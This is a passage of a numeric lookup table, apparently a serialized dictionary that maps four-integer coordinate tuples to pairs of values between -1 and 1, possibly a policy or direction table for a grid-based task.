-1): (1, 1), (6, 9, 3, 0): (-1, 1), (6, 9, 3, 1): (-1, 1), (6, 9, 3, 2): (-1, 1), (6, 9, 3, 3): (-1, 1), (6, 9, 3, 4): (-1, 1), (6, 9, 3, 5): (-1, 1), (6, 9, 4, -5): (0, 1), (6, 9, 4, -4): (0, 1), (6, 9, 4, -3): (0, 1), (6, 9, 4, -2): (0, 1), (6, 9, 4, -1): (0, 1), (6, 9, 4, 0): (0, 1), (6, 9, 4, 1): (0, 1), (6, 9, 4, 2): (0, 1), (6, 9, 4, 3): (-1, 1), (6, 9, 4, 4): (-1, 1), (6, 9, 4, 5): (-1, 1), (6, 9, 5, -5): (0, 1), (6, 9, 5, -4): (0, 1), (6, 9, 5, -3): (0, 1), (6, 9, 5, -2): (0, 1), (6, 9, 5, -1): (0, 1), (6, 9, 5, 0): (0, 1), (6, 9, 5, 1): (0, 1), (6, 9, 5, 2): (0, 1), (6, 9, 5, 3): (0, 1), (6, 9, 5, 4): (0, 1), (6, 9, 5, 5): (0, 1), (6, 10, -5, -5): (0, 1), (6, 10, -5, -4): (0, 1), (6, 10, -5, -3): (0, 1), (6, 10, -5, -2): (0, 1), (6, 10, -5, -1): (0, 1), (6, 10, -5, 0): (0, 1), (6, 10, -5, 1): (0, 1), (6, 10, -5, 2): (0, 1), (6, 10, -5, 3): (0, 1), (6, 10, -5, 4): (0, 1), (6, 10, -5, 5): (0, 1), (6, 10, -4, -5): (0, 1), (6, 10, -4, -4): (0, 1), (6, 10, -4, -3): (0, 1), (6, 10, -4, -2): (0, 1), (6, 10, -4, -1): (0, 1), (6, 10, -4, 0): (0, 1), (6, 10, -4, 1): (0, 1), (6, 10, -4, 2): (0, 1), (6, 10, -4, 3): (0, 1), (6, 10, -4, 4): (0, 1), (6, 10, -4, 5): (0, 1), (6, 10, -3, -5): (0, 1), (6, 10, -3, -4): (0, 1), (6, 10, -3, -3): (0, 1), (6, 10, -3, -2): (0, 1), (6, 10, -3, -1): (0, 1), (6, 10, -3, 0): (0, 1), (6, 10, -3, 1): (0, 1), (6, 10, -3, 2): (0, 1), (6, 10, -3, 3): (0, 1), (6, 10, -3, 4): (0, 1), (6, 10, -3, 5): (0, 1), (6, 10, -2, -5): (0, 1), (6, 10, -2, -4): (0, 1), (6, 10, -2, -3): (0, 1), (6, 10, -2, -2): (0, 1), (6, 10, -2, -1): (0, 1), (6, 10, -2, 0): (0, 1), (6, 10, -2, 1): (0, 1), (6, 10, -2, 2): (0, 1), (6, 10, -2, 3): (0, 1), (6, 10, -2, 4): (0, 1), (6, 10, -2, 5): (0, 1), (6, 10, -1, -5): (0, 1), (6, 10, -1, -4): (0, 1), (6, 10, -1, -3): (0, 1), (6, 10, -1, -2): (0, 1), (6, 10, -1, -1): (0, 1), (6, 10, -1, 0): (1, 1), (6, 10, -1, 1): (1, 1), (6, 10, -1, 2): (1, 1), (6, 10, -1, 3): (1, 1), (6, 10, -1, 4): (1, 1), (6, 10, -1, 5): (1, 0), (6, 10, 0, -5): (-1, 1), (6, 10, 0, -4): (-1, 1), (6, 10, 0, -3): (-1, 1), (6, 10, 0, -2): (-1, 1), (6, 10, 0, -1): (1, 1), (6, 10, 0, 0): (1, 1), (6, 10, 0, 1): (1, 1), (6, 10, 0, 2): (1, 1), (6, 10, 0, 3): (1, 1), (6, 10, 0, 4): (1, 1), (6, 10, 0, 5): (1, 0), (6, 10, 1, -5): (1, 1), (6, 10, 1, -4): (1, 1), (6, 10, 1, -3): (1, 1), (6, 10, 1, -2): (1, 1), (6, 10, 1, -1): (1, 1), (6, 10, 1, 0): (0, 1), (6, 10, 1, 1): (0, 1), (6, 10, 1, 2): (0, 1), (6, 10, 1, 3): (0, 1), (6, 10, 1, 4): (0, 1), (6, 10, 1, 5): (0, 1), (6, 10, 2, -5): (0, 1), (6, 10, 2, -4): (0, 1), (6, 10, 2, -3): (0, 1), (6, 10, 2, -2): (0, 1), (6, 10, 2, -1): (0, 1), (6, 10, 2, 0): (-1, 1), (6, 10, 2, 1): (-1, 1), (6, 10, 2, 2): (-1, 1), (6, 10, 2, 3): (-1, 1), (6, 10, 2, 4): (-1, 1), (6, 10, 2, 5): (-1, 1), (6, 10, 3, -5): (1, 1), (6, 10, 3, -4): (1, 1), (6, 10, 3, -3): (1, 1), (6, 10, 3, -2): (1, 1), (6, 10, 3, -1): (1, 1), (6, 10, 3, 0): (-1, 1), (6, 10, 3, 1): (-1, 1), (6, 10, 3, 2): (-1, 1), (6, 10, 3, 3): (-1, 1), (6, 10, 3, 4): (-1, 1), (6, 10, 3, 5): (-1, 1), (6, 10, 4, -5): (0, 1), (6, 10, 4, -4): (0, 1), (6, 10, 4, -3): (0, 1), (6, 10, 4, -2): (0, 1), (6, 10, 4, -1): (0, 1), (6, 10, 4, 0): (0, 1), (6, 10, 4, 1): (0, 1), (6, 10, 4, 2): (0, 1), (6, 10, 4, 3): (-1, 1), (6, 10, 4, 4): (-1, 1), (6, 10, 4, 5): (-1, 1), (6, 10, 5, -5): (0, 1), (6, 10, 5, -4): (0, 1), (6, 10, 5, -3): (0, 1), (6, 10, 5, -2): (0, 1), (6, 10, 5, -1): (0, 1), (6, 10, 5, 0): (0, 1), (6, 10, 5, 1): (0, 1), (6, 10, 5, 2): (0, 1), (6, 10, 5, 3): (0, 1), (6, 10, 5, 4): (0, 1), (6, 10, 5, 5): (0, 1), (6, 11, -5, -5): (0, 1), (6, 11, -5, -4): (0, 1), (6, 11, -5, -3): (0, 1), (6, 11, -5, -2): (0, 1), (6, 11, -5, -1): (0, 1), (6, 11, -5, 0): (0, 1), (6, 11, -5, 1): (0, 1), (6, 11, -5, 2): (0, 1), (6, 11, -5, 3): (0, 1), (6, 11, -5, 4): (0, 1), (6, 11, -5, 5): (0, 1), (6, 11, -4, -5): (0, 1), (6, 11, -4, -4): (0, 1), (6, 11, -4, -3): (0, 1), (6, 11, -4, -2): (0, 1), (6, 11, -4, -1): (0, 1), (6, 11, -4, 0): (0, 1), (6, 11, -4, 1): (0, 1), (6, 11, -4, 2): (0, 1), (6, 11, -4, 3): (0, 1), (6, 11, -4, 4): (0, 1), (6, 11, -4, 5): (0, 1), (6, 11, -3, -5): (0, 1), (6, 11, -3, -4): (0, 1), (6, 11, -3, -3): (0, 1), (6, 11, -3, -2): (0, 1), (6, 11, -3, -1): (0, 1), (6, 11, -3, 0): (0, 1), (6, 11, -3, 1): (0, 1), (6, 11, -3, 2): (0, 1), (6, 11, -3, 3): (0, 1), (6, 11, -3, 4): (0, 1), (6, 11, -3, 5): (0, 1), (6, 11, -2, -5): (0, 1), (6, 11, -2, -4): (0, 1), (6, 11, -2, -3): (0, 1), (6, 11, -2, -2): (0, 1), (6, 11, -2, -1): (0, 1), (6, 11, -2, 0): (0, 1), (6, 11, -2, 1): (0, 1), (6, 11, -2, 2): (0, 1), (6, 11, -2, 3): (0, 1), (6, 11, -2, 4): (0, 1), (6, 11, -2, 5): (0, 1), (6, 11, -1, -5): (0, 1), (6, 11, -1, -4): (0, 1), (6, 11, -1, -3): (0, 1), (6, 11, -1, -2): (0, 1), (6, 11, -1, -1): (0, 1), (6, 11, -1, 0): (1, 1), (6, 11, -1, 1): (1, 1), (6, 11, -1, 2): (1, 1), (6, 11, -1, 3): (1, 1), (6, 11, -1, 4): (1, 1), (6, 11, -1, 5): (1, 0), (6, 11, 0, -5): (-1, 1), (6, 11, 0, -4): (-1, 1), (6, 11, 0, -3): (-1, 1), (6, 11, 0, -2): (-1, 1), (6, 11, 0, -1): (1, 1), (6, 11, 0, 0): (0, 1), (6, 11, 0, 1): (1, 1), (6, 11, 0, 2): (1, 1), (6, 11, 0, 3): (1, 1), (6, 11, 0, 4): (1, 1), (6, 11, 0, 5): (1, 0), (6, 11, 1, -5): (1, 1), (6, 11, 1, -4): (1, 1), (6, 11, 1, -3): (1, 1), (6, 11, 1, -2): (1, 1), (6, 11, 1, -1): (1, 1), (6, 11, 1, 0): (-1, 1), (6, 11, 1, 1): (0, 1), (6, 11, 1, 2): (0, 1), (6, 11, 1, 3): (0, 1), (6, 11, 1, 4): (0, 1), (6, 11, 1, 5): (0, 1), (6, 11, 2, -5): (0, 1), (6, 11, 2, -4): (0, 1), (6, 11, 2, -3): (0, 1), (6, 11, 2, -2): (0, 1), (6, 11, 2, -1): (0, 1), (6, 11, 2, 0): (-1, 1), (6, 11, 2, 1): (-1, 1), (6, 11, 2, 2): (-1, 1), (6, 11, 2, 3): (-1, 1), (6, 11, 2, 4): (-1, 1), (6, 11, 2, 5): (-1, 1), (6, 11, 3, -5): (1, 1), (6, 11, 3, -4): (1, 1), (6, 11, 3, -3): (1, 1), (6, 11, 3, -2): (1, 1), (6, 11, 3, -1): (1, 1), (6, 11, 3, 0): (-1, 1), (6, 11, 3, 1): (-1, 1), (6, 11, 3, 2): (-1, 1), (6, 11, 3, 3): (-1, 1), (6, 11, 3, 4): (-1, 1), (6, 11, 3, 5): (-1, 1), (6, 11, 4, -5): (0, 1), (6, 11, 4, -4): (0, 1), (6, 11, 4, -3): (0, 1), (6, 11, 4, -2): (0, 1), (6, 11, 4, -1): (0, 1), (6, 11, 4, 0): (0, 1), (6, 11, 4, 1): (0, 1), (6, 11, 4, 2): (-1, 1), (6, 11, 4, 3): (-1, 1), (6, 11, 4, 4): (-1, 1), (6, 11, 4, 5): (-1, 1), (6, 11, 5, -5): (0, 1), (6, 11, 5, -4): (0, 1), (6, 11, 5, -3): (0, 1), (6, 11, 5, -2): (0, 1), (6, 11, 5, -1): (0, 1), (6, 11, 5, 0): (0, 1), (6, 11, 5, 1): (0, 1), (6, 11, 5, 2): (0, 1), (6, 11, 5, 3): (0, 1), (6, 11, 5, 4): (0, 1), (6, 11, 5, 5): (0, 1), (6, 12, -5, -5): (0, 1), (6, 12, -5, -4): (0, 1), (6, 12, -5, -3): (0, 1), (6, 12, -5, -2): (0, 1), (6, 12, -5, -1): (0, 1), (6, 12, -5, 0): (0, 1), (6, 12, -5, 1): (0, 1), (6, 12, -5, 2): (0, 1), (6, 12, -5, 3): (0, 1), (6, 12, -5, 4): (0, 1), (6, 12, -5, 5): (0, 1), (6, 12, -4, -5): (0, 1), (6, 12, -4, -4): (0, 1), (6, 12, -4, -3): (0, 1), (6, 12, -4, -2): (0, 1), (6, 12, -4, -1): (0, 1), (6, 12, -4, 0): (0, 1), (6, 12, -4, 1): (0, 1), (6, 12, -4, 2): (0, 1), (6, 12, -4, 3): (0, 1), (6, 12, -4, 4): (0, 1), (6, 12, -4, 5): (0, 1), (6, 12, -3, -5): (0, 1), (6, 12, -3, -4): (0, 1), (6, 12, -3, -3): (0, 1), (6, 12, -3, -2): (0, 1), (6, 12, -3, -1): (0, 1), (6, 12, -3, 0): (0, 1), (6, 12, -3, 1): (0, 1), (6, 12, -3, 2): (0, 1), (6, 12, -3, 3): (0, 1), (6, 12, -3, 4): (0, 1), (6, 12, -3, 5): (0, 1), (6, 12, -2, -5): (0, 1), (6, 12, -2, -4): (0, 1), (6, 12, -2, -3): (0, 1), (6, 12, -2, -2): (0, 1), (6, 12, -2, -1): (0, 1), (6, 12, -2, 0): (0, 1), (6, 12, -2, 1): (0, 1), (6, 12, -2, 2): (0, 1), (6, 12, -2, 3): (0, 1), (6, 12, -2, 4): (0, 1), (6, 12, -2, 5): (0, 1), (6, 12, -1, -5): (0, 1), (6, 12, -1, -4): (0, 1), (6, 12, -1, -3): (0, 1), (6, 12, -1, -2): (0, 1), (6, 12, -1, -1): (0, 1), (6, 12, -1, 0): (1, 1), (6, 12, -1, 1): (1, 1), (6, 12, -1, 2): (1, 1), (6, 12, -1, 3): (1, 1), (6, 12, -1, 4): (1, 1), (6, 12, -1, 5): (1, 0), (6, 12, 0, -5): (-1, 1), (6, 12, 0, -4): (-1, 1), (6, 12, 0, -3): (-1, 1), (6, 12, 0, -2): (-1, 1), (6, 12, 0, -1): (1, 1), (6, 12, 0, 0): (1, 1), (6, 12, 0, 1): (1, 1), (6, 12, 0, 2): (1, 1), (6, 12, 0, 3): (1, 1), (6, 12, 0, 4): (1, 1), (6, 12, 0, 5): (1, 0), (6, 12, 1, -5): (1, 1), (6, 12, 1, -4): (1, 1), (6, 12, 1, -3): (1, 1), (6, 12, 1, -2): (1, 1), (6, 12, 1, -1): (1, 1), (6, 12, 1, 0): (0, 1), (6, 12, 1, 1): (0, 1), (6, 12, 1, 2): (0, 1), (6, 12, 1, 3): (0, 1), (6, 12, 1, 4): (0, 1), (6, 12, 1, 5): (0, 1), (6, 12, 2, -5): (0, 1), (6, 12, 2, -4): (0, 1), (6, 12, 2, -3): (0, 1), (6, 12, 2, -2): (0, 1), (6, 12, 2, -1): (0, 1), (6, 12, 2, 0): (-1, 1), (6, 12, 2, 1): (-1, 1), (6, 12, 2, 2): (-1, 1), (6, 12, 2, 3): (-1, 1), (6, 12, 2, 4): (-1, 1), (6, 12, 2, 5): (-1, 1), (6, 12, 3, -5): (1, 1), (6, 12, 3, -4): (1, 1), (6, 12, 3, -3): (1, 1), (6, 12, 3, -2): (1, 1), (6, 12, 3, -1): (1, 1), (6, 12, 3, 0): (-1, 1), (6, 12, 3, 1): (-1, 1), (6, 12, 3, 2): (-1, 1), (6, 12, 3, 3): (-1, 1), (6, 12, 3, 4): (-1, 1), (6, 12, 3, 5): (-1, 1), (6, 12, 4, -5): (0, 1), (6, 12, 4, -4): (0, 1), (6, 12, 4, -3): (0, 1), (6, 12, 4, -2): (0, 1), (6, 12, 4, -1): (0, 1), (6, 12, 4, 0): (0, 1), (6, 12, 4, 1): (0, 1), (6, 12, 4, 2): (-1, 1), (6, 12, 4, 3): (-1, 1), (6, 12, 4, 4): (-1, 1), (6, 12, 4, 5): (-1, 1), (6, 12, 5, -5): (0, 1), (6, 12, 5, -4): (0, 1), (6, 12, 5, -3): (0, 1), (6, 12, 5, -2): (0, 1), (6, 12, 5, -1): (0, 1), (6, 12, 5, 0): (0, 1), (6, 12, 5, 1): (0, 1), (6, 12, 5, 2): (0, 1), (6, 12, 5, 3): (0, 1), (6, 12, 5, 4): (0, 1), (6, 12, 5, 5): (0, 1), (6, 13, -5, -5): (0, 1), (6, 13, -5, -4): (0, 1), (6, 13, -5, -3): (0, 1), (6, 13, -5, -2): (0, 1), (6, 13, -5, -1): (0, 1), (6, 13, -5, 0): (0, 1), (6, 13, -5, 1): (0, 1), (6, 13, -5, 2): (0, 1), (6, 13, -5, 3): (0, 1), (6, 13, -5, 4): (0, 1), (6, 13, -5, 5): (0, 1), (6, 13, -4, -5): (0, 1), (6, 13, -4, -4): (0, 1), (6, 13, -4, -3): (0, 1), (6, 13, -4, -2): (0, 1), (6, 13, -4, -1): (0, 1), (6, 13, -4, 0): (0, 1), (6, 13, -4, 1): (0, 1), (6, 13, -4, 2): (0, 1), (6, 13, -4, 3): (0, 1), (6, 13, -4, 4): (0, 1), (6, 13, -4, 5): (0, 1), (6, 13, -3, -5): (0, 1), (6, 13, -3, -4): (0, 1), (6, 13, -3, -3): (0, 1), (6, 13, -3, -2): (0, 1), (6, 13, -3, -1): (0, 1), (6, 13, -3, 0): (0, 1), (6, 13, -3, 1): (0, 1), (6, 13, -3, 2): (0, 1), (6, 13, -3, 3): (0, 1), (6, 13, -3, 4): (0, 1), (6, 13, -3, 5): (0, 1), (6, 13, -2, -5): (0, 1), (6, 13, -2, -4): (0, 1), (6, 13, -2, -3): (0, 1), (6, 13, -2, -2): (0, 1), (6, 13, -2, -1): (0, 1), (6, 13, -2, 0): (0, 1), (6, 13, -2, 1): (0, 1), (6, 13, -2, 2): (0, 1), (6, 13, -2, 3): (0, 1), (6, 13, -2, 4): (0, 1), (6, 13, -2, 5): (0, 1), (6, 13, -1, -5): (0, 1), (6, 13, -1, -4): (0, 1), (6, 13, -1, -3): (0, 1), (6, 13, -1, -2): (0, 1), (6, 13, -1, -1): (0, 1), (6, 13, -1, 0): (1, 1), (6, 13, -1, 1): (1, 1), (6, 13, -1, 2): (1, 1), (6, 13, -1, 3): (1, 1), (6, 13, -1, 4): (1, 1), (6, 13, -1, 5): (1, 0), (6, 13, 0, -5): (-1, 1), (6, 13, 0, -4): (-1, 1), (6, 13, 0, -3): (-1, 1), (6, 13, 0, -2): (-1, 1), (6, 13, 0, -1): (1, 1), (6, 13, 0, 0): (1, 1), (6, 13, 0, 1): (1, 1), (6, 13, 0, 2): (1, 1), (6, 13, 0, 3): (1, 1), (6, 13, 0, 4): (1, 1), (6, 13, 0, 5): (1, 0), (6, 13, 1, -5): (1, 1), (6, 13, 1, -4): (1, 1), (6, 13, 1, -3): (1, 1), (6, 13, 1, -2): (1, 1), (6, 13, 1, -1): (0, 1), (6, 13, 1, 0): (0, 1), (6, 13, 1, 1): (0, 1), (6, 13, 1, 2): (0, 1), (6, 13, 1, 3): (0, 1), (6, 13, 1, 4): (0, 1), (6, 13, 1, 5): (0, 1), (6, 13, 2, -5): (0, 1), (6, 13, 2, -4): (0, 1), (6, 13, 2, -3): (0, 1), (6, 13, 2, -2): (0, 1), (6, 13, 2, -1): (-1, 1), (6, 13, 2, 0): (-1, 1), (6, 13, 2, 1): (-1, 1), (6, 13, 2, 2): (-1, 1), (6, 13, 2, 3): (-1, 1), (6, 13, 2, 4): (-1, 1), (6, 13, 2, 5): (-1, 1), (6, 13, 3, -5): (1, 1), (6, 13, 3, -4): (1, 1), (6, 13, 3, -3): (1, 1), (6, 13, 3, -2): (1, 1), (6, 13, 3, -1): (1, 1), (6, 13, 3, 0): (-1, 1), (6, 13, 3, 1): (-1, 1), (6, 13, 3, 2): (-1, 1), (6, 13, 3, 3): (-1, 1), (6, 13, 3, 4): (-1, 1), (6, 13, 3, 5): (-1, 1), (6, 13, 4, -5): (0, 1), (6, 13, 4, -4): (0, 1), (6, 13, 4, -3): (0, 1), (6, 13, 4, -2): (0, 1), (6, 13, 4, -1): (0, 1), (6, 13, 4, 0): (0, 1), (6, 13, 4, 1): (0, 1), (6, 13, 4, 2): (0, 1), (6, 13, 4, 3): (-1, 1), (6, 13, 4, 4): (-1, 1), (6, 13, 4, 5): (-1, 1), (6, 13, 5, -5): (0, 1), (6, 13, 5, -4): (0, 1), (6, 13, 5, -3): (0, 1), (6, 13, 5, -2): (0, 1), (6, 13, 5, -1): (0, 1), (6, 13, 5, 0): (0, 1), (6, 13, 5, 1): (0, 1), (6, 13, 5, 2): (0, 1), (6, 13, 5, 3): (0, 1), (6, 13, 5, 4): (0, 1), (6, 13, 5, 5): (0, 1), (6, 14, -5, -5): (0, 1), (6, 14, -5, -4): (0, 1), (6, 14, -5, -3): (0, 1), (6, 14, -5, -2): (0, 1), (6, 14, -5, -1): (0, 1), (6, 14, -5, 0): (0, 1), (6, 14, -5, 1): (0, 1), (6, 14, -5, 2): (0, 1), (6, 14, -5, 3): (0, 1), (6, 14, -5, 4): (0, 0), (6, 14, -5, 5): (-1, -1), (6, 14, -4, -5): (0, 1), (6, 14, -4, -4): (0, 1), (6, 14, -4, -3): (0, 1), (6, 14, -4, -2): (0, 1), (6, 14, -4, -1): (0, 1), (6, 14, -4, 0): (0, 1), (6, 14, -4, 1): (0, 1), (6, 14, -4, 2): (0, 1), (6, 14, -4, 3): (0, 1), (6, 14, -4, 4): (0, 0), (6, 14, -4, 5): (-1, -1), (6, 14, -3, -5): (0, 1), (6, 14, -3, -4): (0, 1), (6, 14, -3, -3): (0, 1), (6, 14, -3, -2): (0, 1), (6, 14, -3, -1): (0, 1), (6, 14, -3, 0): (0, 1), (6, 14, -3, 1): (0, 1), (6, 14, -3, 2): (0, 1), (6, 14, -3, 3): (0, 1), (6, 14, -3, 4): (0, 0), (6, 14, -3, 5): (-1, -1), (6, 14, -2, -5): (0, 1), (6, 14, -2, -4): (0, 1), (6, 14, -2, -3): (0, 1), (6, 14, -2, -2): (0, 1), (6, 14, -2, -1): (0, 1), (6, 14, -2, 0): (0, 1), (6, 14, -2, 1): (0, 1), (6, 14, -2, 2): (0, 1), (6, 14, -2, 3): (0, 1), (6, 14, -2, 4): (0, 0), (6, 14, -2, 5): (-1, -1), (6, 14, -1, -5): (0, 1), (6, 14, -1, -4): (0, 1), (6, 14, -1, -3): (0, 1), (6, 14, -1, -2): (0, 1), (6, 14, -1, -1): (0, 1), (6, 14, -1, 0): (1, 1), (6, 14, -1, 1): (1, 1), (6, 14, -1, 2): (1, 1), (6, 14, -1, 3): (1, 1), (6, 14, -1, 4): (1, 1), (6, 14, -1, 5): (1, 0), (6, 14, 0, -5): (-1, 1), (6, 14, 0, -4): (-1, 1), (6, 14, 0, -3): (-1, 1), (6, 14, 0, -2): (-1, 1), (6, 14, 0, -1): (1, 1), (6, 14, 0, 0): (1, 1), (6, 14, 0, 1): (1, 1), (6, 14, 0, 2): (1, 1), (6, 14, 0, 3): (1, 1), (6, 14, 0, 4): (1, 1), (6, 14, 0, 5): (1, 0), (6, 14, 1, -5): (1, 1), (6, 14, 1, -4): (1, 1), (6, 14, 1, -3): (1, 1), (6, 14, 1, -2): (1, 1), (6, 14, 1, -1): (0, 1), (6, 14, 1, 0): (0, 1), (6, 14, 1, 1): (0, 1), (6, 14, 1, 2): (0, 1), (6, 14, 1, 3): (0, 1), (6, 14, 1, 4): (0, 1), (6, 14, 1, 5): (0, 1), (6, 14, 2, -5): (0, 1), (6, 14, 2, -4): (0, 1), (6, 14, 2, -3): (0, 1), (6, 14, 2, -2): (0, 1), (6, 14, 2, -1): (-1, 1), (6, 14, 2, 0): (-1, 1), (6, 14, 2, 1): (-1, 1), (6, 14, 2, 2): (-1, 1), (6, 14, 2, 3): (-1, 1), (6, 14, 2, 4): (-1, 1), (6, 14, 2, 5): (-1, 1), (6, 14, 3, -5): (1, 1), (6, 14, 3, -4): (1, 1), (6, 14, 3, -3): (1, 1), (6, 14, 3, -2): (1, 1), (6, 14, 3, -1): (1, 1), (6, 14, 3, 0): (-1, 1), (6, 14, 3, 1): (-1, 1), (6, 14, 3, 2): (-1, 1), (6, 14, 3, 3): (-1, 1), (6, 14, 3, 4): (-1, 1), (6, 14, 3, 5): (-1, 1), (6, 14, 4, -5): (0, 1), (6, 14, 4, -4): (0, 1), (6, 14, 4, -3): (0, 1), (6, 14, 4, -2): (0, 1), (6, 14, 4, -1): (0, 1), (6, 14, 4, 0): (0, 1), (6, 14, 4, 1): (0, 1), (6, 14, 4, 2): (0, 1), (6, 14, 4, 3): (-1, 1), (6, 14, 4, 4): (-1, 1), (6, 14, 4, 5): (-1, 1), (6, 14, 5, -5): (0, 1), (6, 14, 5, -4): (0, 1), (6, 14, 5, -3): (0, 1), (6, 14, 5, -2): (0, 1), (6, 14, 5, -1): (0, 1), (6, 14, 5, 0): (0, 1), (6, 14, 5, 1): (0, 1), (6, 14, 5, 2): (0, 1), (6, 14, 5, 3): (0, 1), (6, 14, 5, 4): (0, 0), (6, 14, 5, 5): (-1, -1), (6, 15, -5, -5): (0, 1), (6, 15, -5, -4): (0, 1), (6, 15, -5, -3): (0, 1), (6, 15, -5, -2): (0, 1), (6, 15, -5, -1): (0, 1), (6, 15, -5, 0): (0, 1), (6, 15, -5, 1): (0, 1), (6, 15, -5, 2): (0, 1), (6, 15, -5, 3): (0, 0), (6, 15, -5, 4): (0, 1), (6, 15, -5, 5): (0, 1), (6, 15, -4, -5): (0, 1), (6, 15, -4, -4): (0, 1), (6, 15, -4, -3): (0, 1), (6, 15, -4, -2): (0, 1), (6, 15, -4, -1): (0, 1), (6, 15, -4, 0): (0, 1), (6, 15, -4, 1): (0, 1), (6, 15, -4, 2): (0, 1), (6, 15, -4, 3): (0, 0), (6, 15, -4, 4): (0, 1), (6, 15, -4, 5): (0, 1), (6, 15, -3, -5): (0, 1), (6, 15, -3, -4): (0, 1), (6, 15, -3, -3): (0, 1), (6, 15, -3, -2): (0, 1), (6, 15, -3, -1): (0, 1), (6, 15, -3, 0): (0, 1), (6, 15, -3, 1): (0, 1), (6, 15, -3, 2): (0, 1), (6, 15, -3, 3): (0, 0), (6, 15, -3, 4): (0, 1), (6, 15, -3, 5): (0, 1), (6, 15, -2, -5): (0, 1), (6, 15, -2, -4): (0, 1), (6, 15, -2, -3): (0, 1), (6, 15, -2, -2): (0, 1), (6, 15, -2, -1): (0, 1), (6, 15, -2, 0): (0, 1), (6, 15, -2, 1): (0, 1), (6, 15, -2, 2): (0, 1), (6, 15, -2, 3): (0, 0), (6, 15, -2, 4): (0, 1), (6, 15, -2, 5): (0, 1), (6, 15, -1, -5): (0, 1), (6, 15, -1, -4): (0, 1), (6, 15, -1, -3): (0, 1), (6, 15, -1, -2): (0, 1), (6, 15, -1, -1): (0, 1), (6, 15, -1, 0): (1, 1), (6, 15, -1, 1): (1, 1), (6, 15, -1, 2): (1, 1), (6, 15, -1, 3): (1, 1), (6, 15, -1, 4): (1, 1), (6, 15, -1, 5): (1, 0), (6, 15, 0, -5): (-1, 1), (6, 15, 0, -4): (-1, 1), (6, 15, 0, -3): (-1, 1), (6, 15, 0, -2): (-1, 1), (6, 15, 0, -1): (0, 1), (6, 15, 0, 0): (1, 1), (6, 15, 0, 1): (1, 1), (6, 15, 0, 2): (1, 1), (6, 15, 0, 3): (1, 1), (6, 15, 0, 4): (1, 1), (6, 15, 0, 5): (1, 0), (6, 15, 1, -5): (1, 1), (6, 15, 1, -4): (1, 1), (6, 15, 1, -3): (1, 1), (6, 15, 1, -2): (1, 1), (6, 15, 1, -1): (1, 1), (6, 15, 1, 0): (0, 1), (6, 15, 1, 1): (0, 1), (6, 15, 1, 2): (0, 1), (6, 15, 1, 3): (0, 1), (6, 15, 1, 4): (0, 1), (6, 15, 1, 5): (0, 1), (6, 15, 2, -5): (0, 1), (6, 15, 2, -4): (0, 1), (6, 15, 2, -3): (0, 1), (6, 15, 2, -2): (0, 1), (6, 15, 2, -1): (0, 1), (6, 15, 2, 0): (-1, 1), (6, 15, 2, 1): (-1, 1), (6, 15, 2, 2): (-1, 1), (6, 15, 2, 3): (-1, 1), (6, 15, 2, 4): (-1, 1), (6, 15, 2, 5): (-1, 1), (6, 15, 3, -5): (1, 1), (6, 15, 3, -4): (1, 1), (6, 15, 3, -3): (1, 1), (6, 15, 3, -2): (1, 1), (6, 15, 3, -1): (1, 1), (6, 15, 3, 0): (-1, 1), (6, 15, 3, 1): (-1, 1), (6, 15, 3, 2): (-1, 1), (6, 15, 3, 3): (-1, 1), (6, 15, 3, 4): (-1, 1), (6, 15, 3, 5): (-1, 1), (6, 15, 4, -5): (0, 1), (6, 15, 4, -4): (0, 1), (6, 15, 4, -3): (0, 1), (6, 15, 4, -2): (0, 1), (6, 15, 4, -1): (0, 1), (6, 15, 4, 0): (0, 1), (6, 15, 4, 1): (0, 1), (6, 15, 4, 2): (0, 1), (6, 15, 4, 3): (-1, 1), (6, 15, 4, 4): (-1, 1), (6, 15, 4, 5): (-1, 1), (6, 15, 5, -5): (0, 1), (6, 15, 5, -4): (0, 1), (6, 15, 5, -3): (0, 1), (6, 15, 5, -2): (0, 1), (6, 15, 5, -1): (0, 1), (6, 15, 5, 0): (0, 1), (6, 15, 5, 1): (0, 1), (6, 15, 5, 2): (0, 1), (6, 15, 5, 3): (0, 0), (6, 15, 5, 4): (0, 1), (6, 15, 5, 5): (0, 1), (6, 16, -5, -5): (0, 1), (6, 16, -5, -4): (0, 1), (6, 16, -5, -3): (0, 1), (6, 16, -5, -2): (0, 1), (6, 16, -5, -1): (0, 1), (6, 16, -5, 0): (0, 1), (6, 16, -5, 1): (0, 1), (6, 16, -5, 2): (0, 0), (6, 16, -5, 3): (0, 1), (6, 16, -5, 4): (0, 1), (6, 16, -5, 5): (0, 1), (6, 16, -4, -5): (0, 1), (6, 16, -4, -4): (0, 1), (6, 16, -4, -3): (0, 1), (6, 16, -4, -2): (0, 1), (6, 16, -4, -1): (0, 1), (6, 16, -4, 0): (0, 1), (6, 16, -4, 1): (0, 1), (6, 16, -4, 2): (0, 0), (6, 16, -4, 3): (0, 1), (6, 16, -4, 4): (0, 1), (6, 16, -4, 5): (0, 1), (6, 16, -3, -5): (0, 1), (6, 16, -3, -4): (0, 1), (6, 16, -3, -3): (0, 1), (6, 16, -3, -2): (0, 1), (6, 16, -3, -1): (0, 1), (6, 16, -3, 0): (0, 1), (6, 16, -3, 1): (0, 1), (6, 16, -3, 2): (0, 0), (6, 16, -3, 3): (0, 1), (6, 16, -3, 4): (0, 1), (6, 16, -3, 5): (0, 1), (6, 16, -2, -5): (0, 1), (6, 16, -2, -4): (0, 1), (6, 16, -2, -3): (0, 1), (6, 16, -2, -2): (0, 1), (6, 16, -2, -1): (0, 1), (6, 16, -2, 0): (0, 1), (6, 16, -2, 1): (0, 1), (6, 16, -2, 2): (0, 0), (6, 16, -2, 3): (0, 1), (6, 16, -2, 4): (0, 1), (6, 16, -2, 5): (0, 1), (6, 16, -1, -5): (0, 1), (6, 16, -1, -4): (0, 1), (6, 16, -1, -3): (0, 1), (6, 16, -1, -2): (0, 1), (6, 16, -1, -1): (0, 1), (6, 16, -1, 0): (1, 1), (6, 16, -1, 1): (1, 1), (6, 16, -1, 2): (1, 1), (6, 16, -1, 3): (1, 1), (6, 16, -1, 4): (1, 1), (6, 16, -1, 5): (1, 0), (6, 16, 0, -5): (-1, 1), (6, 16, 0, -4): (-1, 1), (6, 16, 0, -3): (-1, 1), (6, 16, 0, -2): (-1, 1), (6, 16, 0, -1): (1, 1), (6, 16, 0, 0): (1, 1), (6, 16, 0, 1): (1, 1), (6, 16, 0, 2): (1, 1), (6, 16, 0, 3): (1, 1), (6, 16, 0, 4): (1, 0), (6, 16, 0, 5): (1, -1), (6, 16, 1, -5): (1, 1), (6, 16, 1, -4): (1, 1), (6, 16, 1, -3): (1, 1), (6, 16, 1, -2): (1, 1), (6, 16, 1, -1): (1, 1), (6, 